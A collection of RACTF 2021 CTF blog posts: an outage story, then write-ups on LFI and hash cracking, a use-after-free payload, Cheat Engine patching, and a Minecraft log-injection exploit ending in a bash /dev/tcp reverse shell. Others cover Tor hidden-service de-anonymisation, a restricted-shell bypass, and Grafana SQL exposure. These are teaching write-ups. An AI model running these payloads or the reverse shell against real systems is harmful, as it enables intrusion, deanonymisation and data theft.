Every CTF event has a few minutes of downtime as it opens, but RACTF 2021's downtime wasn't exactly conventional. Join us on a tail of duct tape engineering and how it saved the launch of RACTF 2021.

This post was co-written by Connor McFarlane from Inferno Communications, RACTF's infrastructure partner.

As I alluded to above, downtime is perfectly normal for the opening few minutes of a CTF. From infrastructure that wasn't designed to take the load to misconfigurations which aren't caught during the event preperations downtime is so common that it's on CTF bingo cards. RACTF has fallen victim to this before, at the start of RACTF 2020 we fell over a few minutes before the event started, and at the time we blamed this on an ongoing outage at our DDoS provider, Cloudflare.

Indeed, we attempted to bypass Cloudflare's proxy which only made the situation worse. Once things had calmed down we had another look at the Cloudflare outage and discovered it was completly unrelated. The outage was actually the result of the default number of workers in Nginx not being nearly high enough. Our systems couldn't keep up, not because they were too weak, but because of a configuration setting we weren't aware of at the time. Needless to say, our web server configuration recieved a thorough review after that incident.

Which, in a roundabout kind of way, brings me to RACTF 2021. For context, unlike 2020 which was run from Hetzner, RACTF 2021 was hosted from dedicated hardware hosted with Inferno Communications. This means we have a more direct responsibility for the management of the systems, but have a faster route to escalate issues.

As you can see from the monitoring graph below, everything was running well and users were getting ready to start enjoying the content we'd been putting together when all of a sudden the site stoped working.

Oh no. Panic. We're 10 minutes out from everything starting and no one can compete. A lot of very loud swearing begins which is only drowned out by the sound of PagerDuty calling us to tell us we're down.

At this point we immediately reach out to Connor at Inferno who starts looking into the problem. A quick inspection of looking glass dashboards from tier 1 ISPs reveals that for some reason the IP range we are running out of has become unroutable. This rapidly develops into a call to the network operations center of our upstream ISP, Hurricane Electric. After a brief tense moment of dialing we are connected and informed that the issue is their side and not ours. So we're screwed, the event is minutes from starting and we're down because of something we've been told isn't our fault.

And then, all of a sudden, everything comes back. Even though Hurricane Electric were still looking into it, we were back up and the event could start on time. So what had happened? Well, when Connor was researching options around alternative transits, it was found to be cost prohibitive so an alternative was found. This would only need to be an emergency fallback, so what could be used instead? The free datacenter WiFi of course. That's right, for the first hour of RACTF 2021, all traffic was flowing via a BGP tunnel running on the free customer WiFi at the datacentre. Eventually, Inferno's infrastructure detected that Hurricane Electric were available again and failed the route back over to them, but a silly idea implemented as a stop gap had kept us on the air.

So what should you learn from this? An idea isn't stupid if it works. Alternatively that you should peer with more than one ISP.

Agent,

Do you remember the firearms store case from last year? The one they were using as a secret communication platform?

Well, we've located the servers for them, the issue is they're based abroad in a country where we do not have any jurisdiction. Thus, we'll need to gain shell access to their systems the good old way.
They're hosting another webapp again, this time it seems like some early version of a social media network that they're working on. This is good for us as it means there will almost certainly be some vulnerabilities present.

We've linked the webapp for you, can you take a look and see if you can gain access to their server?

Statistics

- Points: 350
- Solves: 4
- Votes: 100% Positive

Solution

When you load the instance, you see there are two ports which are of interest. The primary one which is serving a web page and another which runs an SSH server. Let's start with the web page. It's a simple collection of videos with a button to upload more, effectively there is little to see here. Trying to navigate to any path redirects to a rick roll and the upload button allows us to upload videos. Trying to upload videos or different files allows us to very quickly determine that the upload size limit is 10MB, some degree of filename sanitization is taking place server-side and we can only upload files with a .webm or .mp4 extension.

What happens if we look at the resources that are being requested by the page? Not a whole lot interesting there, just a minified stylesheet and javascript for the page. The stylesheet isn't particularly interesting to us, so let's pretty-print the javascript. Anything noteworthy? No? I thought so, just plain terrible JS written by an average Olognion reader. The only interesting thing I can see here is the uploadContent function which handles the network interaction for the upload button.

async function uploadContent(e) {
    let n = new FormData();
    a = e.files[0];
    n.append("file", a);
    n.append("source", "external");
    const r = new AbortController();
    try {
    	...
        await fetch("/upload/content", { method: "POST", body: n, signal: r.signal });
      	....
}

We can see a POST request is being made to the /upload/content endpoint where a form is being submitted with two parameters, one called source and the other file. source is set to the static value of external and the other parameter is set to the file we select when using the upload form. The second param makes sense, but the first param is quite odd - why would there be a source of upload? Is this some debug parameter left behind for testing or some odd quirk?

The most obvious value that comes to mind as a potential candidate for setting source to is internal. Many tools will allow you to send a POST request in that structure, but we will use the browser console as that's all we need. Let's start by rewriting the function. If we are trying to include an internal file, then it no longer makes sense to have file set to the contents of a local file. Rather let's change this to the path of the file we want to try and include. I've added some additional error handling and interaction with the snackbar so we can get a nice-looking toast notification to display the status of each request, but this is clearly optional and inspecting the contents of the network tab inside developer tools is sufficient. Here's what our rewritten function looks like now:

async function LFI(inp){
    let fd = new FormData();
    fd.append("file", inp);
    fd.append("source", "internal");
    const ctrl = new AbortController()

    try {
      displayMDCSnackbar("Uploading Video, please wait", 10000)
       let req = await fetch('/upload/content',
        {method: "POST", body: fd, signal: ctrl.signal}).then(resp => resp.json()).then(data => displayMDCSnackbar(data.message, 4000));
       setTimeout(function(){location = ''}, 4000);
    } catch(e) {
      setTimeout(function(){location = ''}, 4000);
      displayMDCSnackbar("Upload Failed: " + e, 4000)
    }
}

Let's call our function with one of the most obvious files to test with LFI("/etc/passwd");. Depending on server load, the request will take up to 30 seconds to complete, but then we get a response from the server of Video uploaded successfully, refreshing page in 5s, this is a postive indication so let's wait for the page to refresh or do it manually. Once it's refreshed, we can see a video appears showing the contents of /etc/passwd!

This is very good news, as now we can access almost any file on the system and have it's contents encoded to a video - it also adds weight to our earlier suspcions that this feature is used for testing purposes, after all it states in the brief that this is some early version of a social media network that they're working on. We know SSH is open on another port, so we'll try to include the SSH private keys for the user using LFI(".ssh/id_rsa").

This doesn't work and searching for other types of keys (ed25519) yields nothing useful either. We also can't read the contents of /etc/shadow as the user the webserver is running on, does not have privilges to read that file. So the next step from here is to identify the webserver, by examining the response headers for our main page, we can see the server shows up as gunicorn.

Gunicorn is a WSGI HTTP server which is compatible with many web frameworks, it's commonly used to host Flask applications. This means there could be files on the system which could fit certain file naming conventions flask apps tend to use, such as app.py so let's try to include that file.

This works and by reading the code here, we can see that one particular file path is being excluded somehow where it says EXCLUDE_FILE = UPLOAD_PATH_OBJ / "note.txt". Here, UPLOAD_PATH_OBJ is clearly a Python Pathlib file object with the path of uploads/ which is having note.txt appended to it, giving us a full path of uploads/note.txt so let's try and include this file.

This succeeds and we can immediately see a username and two parts of a password, each hashed using Argon2. Argon2 is a key derivation function that is the winner of the Password Hashing Competition 2015, it's known for its memory intensity and comes in several variants, the one displayed here is Argon2id, a hybrid version which provides high resistance against fast parallel GPU cracking and side channel attacks. Its variable length hash function is built upon BLAKE2. Let's start by transcribing both hashes out of the displayed video and saving them somewhere. From here we can use any tool that supports this hash type and a commonly used passwords list. Thankfully, the passwords used here are very common and you should get results very quickly despite the relatively slow hash function used here. The first hash comes out to be password and the second hash is qwertyuiop. After concatenating both parts let's attempt to login as admin with the password of passwordqwertyuiop. This succeeds and we have a shell on the system!

Now, we could try to locate any SUID/SGID binaries, but Alpine generally tends to do a good job of dropping privilges when having SUID on a binary. So let's look for interesting files instead in the typical directories. One way we could do this is by searching for files recursively under / by their modification time so if anything has been modified by an user it will show up separately. Either way, quickly we can locate a file under /etc called /etc/shadow-backup.bak, by reading the contents of this file it is evident this is the shadow file for the system containing the password hashes of all users, let's try and crack the one for root as its the most interesting to us.

The hash here is SHA-512 so plenty of tools will be able to crack it quickly: hashcat, john, etc. Choose your favourite one and throw rockyou.txt at it or use it in brute-force mode. Either way, we recover the root password quickly which is ubisoft. Once logged in as admin, switch user to root, head to /root and view the flag.

That's all folks, thanks for reading. We hope you enjoyed the challenge!

One of our most senior engineers wrote this database code, it's super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.

Statistics:

- Points: 350
- Solves: 117
- Votes: 88.4% Positive

Challenge overview

The basis for this challenge is a user registration program, there is a lot of code in the actual file, though that is just to make it feel like a more "enterprise" piece of code / something that you might actually find in a real codebase. This is aided by the inclusion of lots of comments and docstrings for functions as well as an attempt at const correctness.

Several things were intended to stick out as feeling a bit off to the user:

1. Role enum type with a "god" role.

typedef enum {
	ROLE_USER,
	ROLE_ADMIN,
	ROLE_GOD = 0xBEEFCAFE,
} Role;

1. User registration function.

/**
 * Registers a new user in the database.
 */
void users_register_user(Users* users, const User *const admin, const User *const user) {
	if (admin->role == ROLE_ADMIN)
		users_add_user(users, user->name, ROLE_USER);
	else if (admin->role == ROLE_GOD)
		puts(FLAG);
	else
		die("[users_register_user]\tInsufficient permissions to register user, exiting.\n");
}

1. Use of admin pointer after free.

// register the user
free(admin);
User* user = user_create(username);
users_register_user(users, admin, user);

Intended Exploitation

I intended for the user to see these three things and infer that they have to use the Use-After-Free (UAF), vulnerability present in the code to set the role of the admin user to ROLE_GOD.

Explanation of UAF

The reason UAF is a problem is because of the way malloc/free work together to be as fast as possible. When an address pointing to a block of a certain size is free'd, it will be put into something called a "bin". These bins are essentially linked lists which store a cache of recently free'd blocks so that it is very little work for the allocator to just give out one of these recently free'd chunks. However if we keep a hold of the free'd address, and use it after it has been freed, we can actually affect the data of the original variable, when the new one is accessed. This is because they are now actually the same pointer. This can be seen if we add some debugging statements to the code:

// check registered
if (!users_check_registered(users, admin, username)) {
    // register the user
    free(admin);
    User* user = user_create(username);
    printf("admin: %p\n", admin);
    printf("user:  %p\n", user);
    users_register_user(users, admin, user);
}

➜ ./chall
Hi, welcome to my users database.
Please enter a user to register: aaa
admin: 0x55e141e36630
user:  0x55e141e36630

As you can see above admin and user variables both point to the same block of memory, as they are the same pointer. This means that when we are creating the new user in the create_user function, we are actually reading into the admin variable. Allowing us to overwrite the admin's role and manipulate the control flow of the program.

Exploiting the UAF

Now that the user knows what they have to do to solve the challenge they can start writing an exploit. To exploit the UAF the user has to provide the correct data to form a User struct with the role ROLE_GOD, this will overwrite the admin's role to ROLE_GOD and print the flag when we enter the registration function. This can be done by supplying USERNAME_LEN characters + any padding added by the compiler, then the little endian representation of 0xBEEFCAFE. This is demonstrated below using printf.

➜ printf "%20s\xFE\xCA\xEF\xBE\n" | ./chal
Hi, welcome to my users database.
Please enter a user to register: ractf{fake_flag}

We can now do this on a remote instance to get the flag.

➜ printf "%20s\xFE\xCA\xEF\xBE\n" | nc 193.57.159.27 31267
Hi, welcome to my users database.
Please enter a user to register: ractf{w0w_1_w0nD3r_wH4t_free(admin)_d0e5}

And thats the challenge! I hope you enjoyed it and maybe learnt something about Use-After-Free vulnerabilities if you hadn't seen them before!

Welcome to my write-up of my challenge from RACTF 2021, RSFPWS: Invulnerable.  We'll be solving this challenge today with Cheat Engine (be careful if you download it to follow along; the installer has some boxes ticked by default which probably shouldn't be).

The challenge we're presented with is a Unity game which connects to a server. Presumably, going by the challenge name, we need to make ourselves invulnerable. In this writeup we're going to do this via memory editing of instructions.

Let's first start by downloading the client and connecting to the server. We're presented with the following two boxes:

Clearly we need to figure out some way to stop the box on the right from writing to our HP value. Let's head over to cheat engine, attach to the process, and see if we can't find our Health variable. We start an exact value scan for the value 100 (We can see this in the UI), then incrementally scan for 95, 90, 85, etc. as we decrease our health by walking into the left box:

Double click the value to add it to the address list.

Let's attach the Cheat Engine debugger to this process and see what writes to the address. Hit F6 on the address to attach the debugger and instruct it to find which instructions write to that address. Let's enter the right box and see what gets written.

As we can see, the debugger captures the instructions which modify the value. Out of the two, the one we most probably want is mov [rbx + 34], edi, since mov [rbx + 34], 064 looks like it just resets our health too 100 (0x64). Click the instruction, then "Show disassembler" to open it in the memory view.

From hear you can replace the instruction with nops, and you've solved the challenge. Simply walk into the red box and receive the flag.

Why not try out the newest anarchy server in Minecraft (Paper 1.17.1 Latest, openjdk:16)?

Writeup

Note: The vulnerability in this challenge has been disclosed privately to the PaperMC team

The challenge provides us with a snippet of a bash script running on the server

    tail --follow /app/logs/latest.log --retry 2>/dev/null | { 
        while read line; do
            echo $line | grep -P --color=none "^\[\d+:\d+:\d+ INFO\]: <RACTFAdmin> \!exec" | cut -d'!' -f2 | cut -d' ' -f2- | bash --restricted &
        done
        }

This is tailing a log file and looking for chat messages from the user RACTFAdmin starting with !exec and then running the command in a restricted bash shell.
The server is in offline mode, however if we try to login as the user RACTFAdmin, we find that the user is banned. Somehow, we need to get a line in the logs that makes it look like RACTFAdmin sent a chat message.

Logging on to the server we notice that join, leave, death and chat messages are disabled. The only way you can legitimately get text into the console is through running commands, however that has line breaks stripped so even executing a command like /\n[00:00:00 INFO]: <RACTFAdmin> !exec ls, the regex will not match it. Unless there's an unintended solution, there is no way with a vanilla client to get text into the console.

So we need to find another way to put text into console, the Minecraft protocol is documented at https://wiki.vg/Protocol. Out of the list of data types, the only ones that are encoded as a string are String, Chat and Identifier, maybe some of the others like NBT could be worth looking at, but its easier to focus on these 3. An Identifier is a string of the form "namespace:thing", the namespace must meet the regex [a-z0-9_-]*, wiki.vg says the name itself can contain more symbols but not which symbols they are.

The packets that use these datatypes are:

• Login start
• Chat
• Client settings
• Tab complete
• Plugin Message
• Name item
• Advancement tab
• Update command block
• Update command block minecart
• Update jigsaw block
• Update structure block
• Update sign

We can immediately rule out all the "update x" packets, all of them require permissions we don't have, and sign requires signs we don't have. Login start has a string we can arbitrarily control and it will print to console, however 16 characters isn't enough to create the chat message. Chat is disabled so we can rule out that packet. Client settings is also limited to 16, so even if it did print to console, it isn't enough. The name item packet (probably) requires an anvil to not be ignored. This leaves us with Plugin message and Advancement tab, both of which use the identifier class.

The code snippets will all be written in the context of a fabric mod using yarn mappings 1.17.1+build.31. This could also be done with a protocol library for another language, probably more easily. Both packets use an identifier field, custom payload is more awkward to send(and doesn't work as well, unsure why), so I'm going to use the advancement packet.

If we send a normal advancement tab packet

MinecraftClient.getInstance().player.networkHandler.sendPacket(new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, new Identifier("minecraft:abc")));

Nothing happens, there's no output in console, and our client doesn't get anything. Wiki.vg says the identifier namespace must be in the form [a-z0-9_-]*, so lets send one that isn't.

MinecraftClient.getInstance().player.networkHandler.sendPacket(new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, new Identifier("ABC:abc")));

And we get a stacktrace on the client, net.minecraft.util.InvalidIdentifierException: Non [a-z0-9_.-] character in namespace of location: ABC:abc. This is annoying because it means we can't send malformed identifiers without a bit more work, however the server's version of the Identifier class is the same, and this prints our string to console. Decompiling the Identifier class shows why this happens

    protected Identifier(String[] id) {
        this.namespace = StringUtils.isEmpty(id[0]) ? "minecraft" : id[0];
        this.path = id[1];
        if (!isNamespaceValid(this.namespace)) {
            throw new InvalidIdentifierException("Non [a-z0-9_.-] character in namespace of location: " + this.namespace + ":" + this.path);
        } else if (!isPathValid(this.path)) {
            throw new InvalidIdentifierException("Non [a-z0-9/._-] character in path of location: " + this.namespace + ":" + this.path);
        }
    }

    private static boolean isPathValid(String path) {
        for(int i = 0; i < path.length(); ++i) {
            if (!isPathCharacterValid(path.charAt(i))) {
                return false;
            }
        }

        return true;
    }

    private static boolean isNamespaceValid(String namespace) {
        for(int i = 0; i < namespace.length(); ++i) {
            if (!isNamespaceCharacterValid(namespace.charAt(i))) {
                return false;
            }
        }

        return true;
    }

    public static boolean isPathCharacterValid(char character) {
        return character == '_' || character == '-' || character >= 'a' && character <= 'z' || character >= '0' && character <= '9' || character == '/' || character == '.';
    }

    private static boolean isNamespaceCharacterValid(char character) {
        return character == '_' || character == '-' || character >= 'a' && character <= 'z' || character >= '0' && character <= '9' || character == '.';
    }

This code seems to slightly disagree with what wiki.vg says about what is valid, but the most important part is that the string is concatenated into the exception as is, nothing is stripped like is the norm with chat messages and commands. If you're using a protocol library, you might not have this check at all and you might be able to just send a malformed Identifier, but I'm using a fabric mod so I'm going to have to do a bit more work. The only thing blocking us sending it is the constructor throwing exceptions when it is made. We can't avoid calling the constructor if we're sending an identifier, but we can just override the toString method, which is what the client calls to send it, with something like this.

    static class CustomIdentifier extends Identifier {

        private String message;

        protected CustomIdentifier(String[] id) {
            super(id);
        }

        public CustomIdentifier(String id) {
            super("");
            this.message = id;
        }

        public CustomIdentifier(String namespace, String path) {
            super(namespace, path);
        }

        @Override
        public String toString() {
            return this.message;
        }

    }

Then we can start writing to the server's log, Identifiers can be up to 32kb for some reason, so we have plenty of text to create the chat message.

new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, new CustomIdentifier("\n[20:00:36 INFO]: <RACTFAdmin> !exec ls"));

If you send this packet to a local test server running the bash script, it lists files, so now we just need to find the flag on the remote server. We don't know what the remote server is running, we can't see the logs and we don't know where the flag is, so we'll get a shell with some common stuff it probably has. The shell executing our commands is also restricted, this isn't too big of a deal, just need to wrap the command in something to escape it. I used bash -i >& /dev/tcp/192.168.86.80/4444 0>&1 to get a shell and wrapped it in awk to escape restricted mode. The final code looked like

MinecraftClient.getInstance().player.networkHandler.sendPacket(new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, new CustomIdentifier("\n[20:00:36 INFO]: <RACTFAdmin> !exec awk 'BEGIN {system(\"bash -i >& /dev/tcp/192.168.86.80/4444 0>&1\")}'")));

Now we just send this packet to the server and get a shell.

bash-4.4$ ls /
app bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
bash-4.4$ cat /flag.txt
ractf{DiggyDiggyHole}

Difficulty: Easy

Ahoy, matey! Some dirty scallywags seem to not be respectin' th' pirate code! Teach them a lesson by findin' out who they be.

ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion

Writeup

This challenge was all about de-anonymising a Tor hidden service. If we go to the .onion address provided, we see it's a very legitimate and upstanding website for honest sharing of media.

Intended Solution

Most methods of de-anonymising a Tor hidden service depend on finding something which is present on both the hidden service and the plaintext service. This could be as simple as the content (for example, Facebook is available as a hidden service, and is identifiably Facebook from the content) or something more obscure like a HTTP header. You can even look for points of functionality in the site and use those to get callback (email being a frequent choice for this), however the site has none of these. There's no functionality, the content seems to be unique, and the headers look normal.

$ curl -s --socks5-hostname localhost:9050 ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion -v 1>/dev/null
*   Trying 127.0.0.1:9050...
* SOCKS5 connect to ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion:80 (remotely resolved)
* SOCKS5 request granted.
* Connected to localhost (127.0.0.1) port 9050 (#0)
> GET / HTTP/1.1
> Host: ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion
> User-Agent: curl/7.76.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.1
< Date: Sun, 15 Aug 2021 17:24:36 GMT
< Content-Type: text/html
< Content-Length: 2632
< Last-Modified: Sat, 03 Jul 2021 17:04:58 GMT
< Connection: keep-alive
< ETag: "60e098ba-a48"
< Accept-Ranges: bytes

Well, when I said the content was unique, that wasn't entirely true. There is one often overlooked part of the website that was reused, the favicon. So, let's download the favicon as a starting point.

curl --socks5-hostname localhost:9050 ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion/favicon.ico --output favicon.ico

And at this point, whilst we could go to the effort of getting the mmh3 hash of this favicon and searching for that on Shodan, there's already a great blog post about that from SANS.

Hunting phishing websites with favicon hashes

SANS Internet Storm Center - A global cooperative cyber threat / internet security monitor and alert system. Featuring daily handler diaries with summarizing and analyzing new threats to networks and internet security events.

SANS Internet Storm Center

Instead, we're going to use a tool called fav-up which automates this process for us.

$ python3 favUp.py --favicon-file favicon.ico -sc                
--> favhash    :: -915494641
--> file       :: ../favicon.ico
--> found_ips  :: 178.62.4.214|178.62.15.164

And now all we need to do is go to one of those IPs and find the flag.

Unintended Solution

It was however brought to my attention during the event that there is actually a much easier solution to this challenge. All you need to do is send the server an invalid host header, which will cause it to fail back to its default vhost which reveals the flag.

$ curl -s --socks5-hostname localhost:9050 -H "Host: asd.com" ractfysfo3ncuhk5nwzou5mpwmwqrc6ll6ubogd4eotvuhrbr4hcpsid.onion | grep "ractf"
    <center><h2 class="bounce rainbowText">ractf{DreadingPirates}</h2></center>

In retrospect, the solution to this would have been to make the flag only visible on a specific vhost, rather than the default.

How it Worked

The setup for this challenge was actually very simple. Whilst it couldn't just use a container on one of our usual challenge hosts, automating the process of deploying this challenge onto Digital Ocean was easy. This script would deploy a Tor hidden service and configure Nginx on a blank CentOS 8 machine and get the challenge ready to go.

The challenge brief tells us that we have a severely broken Linux install with only a few commands available. We're told nothing about where the flag is, in fact nothing about the environment at all. Connecting to the provided IP and port, we see the string SSH-2.0-dropbear_2020.81 - this must be a an SSH server. We use the provided username and password, and we're in.

Linux restricted shell
$ ls
This command has been disabled by your administrator.
$ dir
This command has been disabled by your administrator.
$ cat /etc/passwd
This command has been disabled by your administrator.

They weren't lying, huh. We don't even have tab suggestions. However, after a quick internet search for ways to view the directory listing without ls, we find we can use echo * as an ls substitute. Running that, we see a singular file in the directory called flag.txt. It looks like we'll have to print the contents of this, but without any obvious tools.

But what tools do we have? Recall that Linux knows where everything is from the PATH variable - and it looks like we can print that one out.

$ echo $PATH
/usr/bin:/bin
$ echo /usr/bin/* /bin/*
/usr/bin/cal /usr/bin/dirname /usr/bin/eject /usr/bin/file /usr/bin/lsof /usr/bin/mkpasswd /usr/bin/sha256sum /usr/bin/split /usr/bin/test /usr/bin/time /usr/bin/wc /usr/bin/whoami /usr/bin/yes /bin/[ /bin/bash /bin/cat /bin/date /bin/dir /bin/echo /bin/false /bin/grep /bin/head /bin/help /bin/less /bin/ls /bin/more /bin/pwd /bin/sh /bin/sleep /bin/sync /bin/tail /bin/toysh /bin/true /bin/vi /bin/vim

Well, calendar isn't helpful. It looks like some of these commands have also been repurposed into displaying a simple forbidden message, and we can't use those (cat, grep, head, less, more, tail, vi, vim). Interestingly enough, we do have sha256sum. Let's run that on the flag:

$ sha256sum flag.txt
874b03af106fa42353eeff6d7be05f43ba8dcf3e1d8298cbd82bc0af6993c707  flag.txt

But brute-forcing that would be a massive pain, and not the right solution to the challenge. If only the flag was shorter, then we could crack the hashes more easily?

Split!

Split takes a file and writes multiple out files of the format x**, creating a new file whenever the previous one has reached the number of bytes you tell it. If we run split rather aggressively, by splitting every 3 bytes, we should end up with some hashes that are trivially reversible online.

$ split -b 3 flag.txt
$ echo *
flag.txt xaa xab xac xad xae xaf xag xah xai xaj xak xal


$ sha256sum xa*
df10b4bd068175bd33f200e48e721a019091c67c06c26ae273da5aaf51424618  xaa
582c3f2f5c5c630d0ee458d5d7c859e7ed36d6fb5862a761e110562438bd4272  xab
a7f5397443359ea76c50be82c77f1f893a060925b51a332cc5da906f83d3344e  xac
569a659ae7633e5ddd7f523b283c1169dad3eb99a3da4b3ad2d5619d9236dc12  xad
7096489b19f4ab1b6c9e1502367c18d5e3adcfeb21b0a0282041ca99e798a14d  xae
618630d1fed7f03ed43dfb03eeae681c1812177c43d3afe1cbe32bb3fee12bf9  xaf
f2f9ca19dad6782e5e92edd758439f11067ae23ab0d418a56f406de6c9bb151a  xag
f481b98f744da847f44f5e67996010859061dca4945e87396016a1ef4ac38460  xah
de7bc3aee118c9689e2cba40c4c427ab8986b8a37c9c4f837e019559de9faffd  xai
a14d511b5d8b444da7ea5ab52feb71271a46bb8374ab24f5251701b23bef4276  xaj
56fb98daea7879c3e2218eb960b9150c2d7978686af5f7f43f80641a6f62b22a  xak
df8238034568781a5df3098ed46435fee0df6c807938e7dbeccb0a29f887d246  xal

In a proper shell, we can post process:

➜ ~ $ cat out
df10b4bd068175bd33f200e48e721a019091c67c06c26ae273da5aaf51424618  xaa
582c3f2f5c5c630d0ee458d5d7c859e7ed36d6fb5862a761e110562438bd4272  xab
a7f5397443359ea76c50be82c77f1f893a060925b51a332cc5da906f83d3344e  xac
569a659ae7633e5ddd7f523b283c1169dad3eb99a3da4b3ad2d5619d9236dc12  xad
7096489b19f4ab1b6c9e1502367c18d5e3adcfeb21b0a0282041ca99e798a14d  xae
618630d1fed7f03ed43dfb03eeae681c1812177c43d3afe1cbe32bb3fee12bf9  xaf
f2f9ca19dad6782e5e92edd758439f11067ae23ab0d418a56f406de6c9bb151a  xag
f481b98f744da847f44f5e67996010859061dca4945e87396016a1ef4ac38460  xah
de7bc3aee118c9689e2cba40c4c427ab8986b8a37c9c4f837e019559de9faffd  xai
a14d511b5d8b444da7ea5ab52feb71271a46bb8374ab24f5251701b23bef4276  xaj
56fb98daea7879c3e2218eb960b9150c2d7978686af5f7f43f80641a6f62b22a  xak
df8238034568781a5df3098ed46435fee0df6c807938e7dbeccb0a29f887d246  xal
➜ ~ $ cat out | cut -f 1 -d ' '
df10b4bd068175bd33f200e48e721a019091c67c06c26ae273da5aaf51424618
582c3f2f5c5c630d0ee458d5d7c859e7ed36d6fb5862a761e110562438bd4272
a7f5397443359ea76c50be82c77f1f893a060925b51a332cc5da906f83d3344e
569a659ae7633e5ddd7f523b283c1169dad3eb99a3da4b3ad2d5619d9236dc12
7096489b19f4ab1b6c9e1502367c18d5e3adcfeb21b0a0282041ca99e798a14d
618630d1fed7f03ed43dfb03eeae681c1812177c43d3afe1cbe32bb3fee12bf9
f2f9ca19dad6782e5e92edd758439f11067ae23ab0d418a56f406de6c9bb151a
f481b98f744da847f44f5e67996010859061dca4945e87396016a1ef4ac38460
de7bc3aee118c9689e2cba40c4c427ab8986b8a37c9c4f837e019559de9faffd
a14d511b5d8b444da7ea5ab52feb71271a46bb8374ab24f5251701b23bef4276
56fb98daea7879c3e2218eb960b9150c2d7978686af5f7f43f80641a6f62b22a
df8238034568781a5df3098ed46435fee0df6c807938e7dbeccb0a29f887d246

And paste into CrackStation.

Piecing together the results, we can retrieve the flag as ractf{std0ut_1s_0v3rr4ted_spl1t_sha}. That was painful.

Difficulty: Easy

🌟 Perfect infrastructure 🌟

Solution

As you can see, this challenge is based around a publicly exposed Grafana dashboard. Most of these graphs seem to be moving at random (indeed, they are being produced by Grafana's random walk function), but there is one static element, the "System Status" table. So lets have a look at how that table is being populated.

If we look at the network tab in our browser, we can see a collection of meaningless requests to random-walk, as well as one to query. The POST body of that request is quite interesting. This table is being populated by the Grafana SQLite datasource, which is being sent arbitrary SQL queries.

{
  "queries": [
    {
      "queryText": "SELECT host,status FROM logs;",
      "queryType": "table",
      "rawQueryText": "SELECT host,status FROM logs;",
      "refId": "A",
      "timeColumns": [],
      "datasource": "sqlite",
      "datasourceId": 1,
      "intervalMs": 60000,
      "maxDataPoints": 431
    }
  ],
  "range": {
    "from": "2021-08-16T08:57:17.464Z",
    "to": "2021-08-16T14:57:17.464Z",
    "raw": {
      "from": "now-6h",
      "to": "now"
    }
  },
  "from": "1629104237464",
  "to": "1629125837464"
}

This means we can simply get the list of tables.

{
  "queries": [
    {
      "queryText": "SELECT name FROM sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%';",
      "queryType": "table",
      "refId": "A",
      "datasource": "sqlite",
      "datasourceId": 1
    }
  ]
}

Which is shown as:

{
    "results": {
        "A": {
            "frames": [
                {
                    "schema": {
                        "name": "response",
                        "refId": "A",
                        "meta": {
                            "executedQueryString": "SELECT name FROM sqlite_master WHERE type ='table' AND name NOT LIKE 'sqlite_%';"
                        },
                        "fields": [
                            {
                                "name": "name",
                                "type": "string",
                                "typeInfo": {
                                    "frame": "string",
                                    "nullable": true
                                }
                            }
                        ]
                    },
                    "data": {
                        "values": [
                            [
                                "logs",
                                "flags"
                            ]
                        ]
                    }
                }
            ]
        }
    }
}

We already know what's in the logs table, so we get the content of the flags table.

{
  "queries": [
    {
      "queryText": "SELECT * FROM flags;",
      "queryType": "table",
      "refId": "A",
      "datasource": "sqlite",
      "datasourceId": 1
    }
  ]
}

And in the response, we can see the flag.

{
    "results": {
        "A": {
            "frames": [
                {
                    "schema": {
                        "name": "response",
                        "refId": "A",
                        "meta": {
                            "executedQueryString": "SELECT * FROM flags;"
                        },
                        "fields": [
                            {
                                "name": "challenge",
                                "type": "number",
                                "typeInfo": {
                                    "frame": "int64",
                                    "nullable": true
                                }
                            },
                            {
                                "name": "flag",
                                "type": "string",
                                "typeInfo": {
                                    "frame": "string",
                                    "nullable": true
                                }
                            }
                        ]
                    },
                    "data": {
                        "values": [
                            [
                                1
                            ],
                            [
                                "ractf{BringBackNagios}"
                            ]
                        ]
                    }
                }
            ]
        }
    }
}

How It Works

This challenge really highlights the limitations of Grafana's permissions model. Grafana does not bake the dashboard server side, instead it sends a large JSON blob with all the dashboard's details (in this case from /api/dashboards/home) and the browser will make XHR requests to collect the data to display. This means that the endpoints for the actual datasources do not understand what is appropriate data to serve and what isn't.

It is possible to put some restrictions on this, Grafana Enterprise supports some level of RBAC on datasources, and by not exposing the dashboard to anonymous users we could at least restrict access to only authenticated users. Really however, this kind of vulnerability needs to be considered at the design stage of a Grafana deployment, with an understanding of the fact that all data in the datasources will be exposed to anyone with access. You should therefore restrict access, both to the Grafana dashboard, but also to the underlying datasource by editing the permissions of the user Grafana is contacting the datasource as.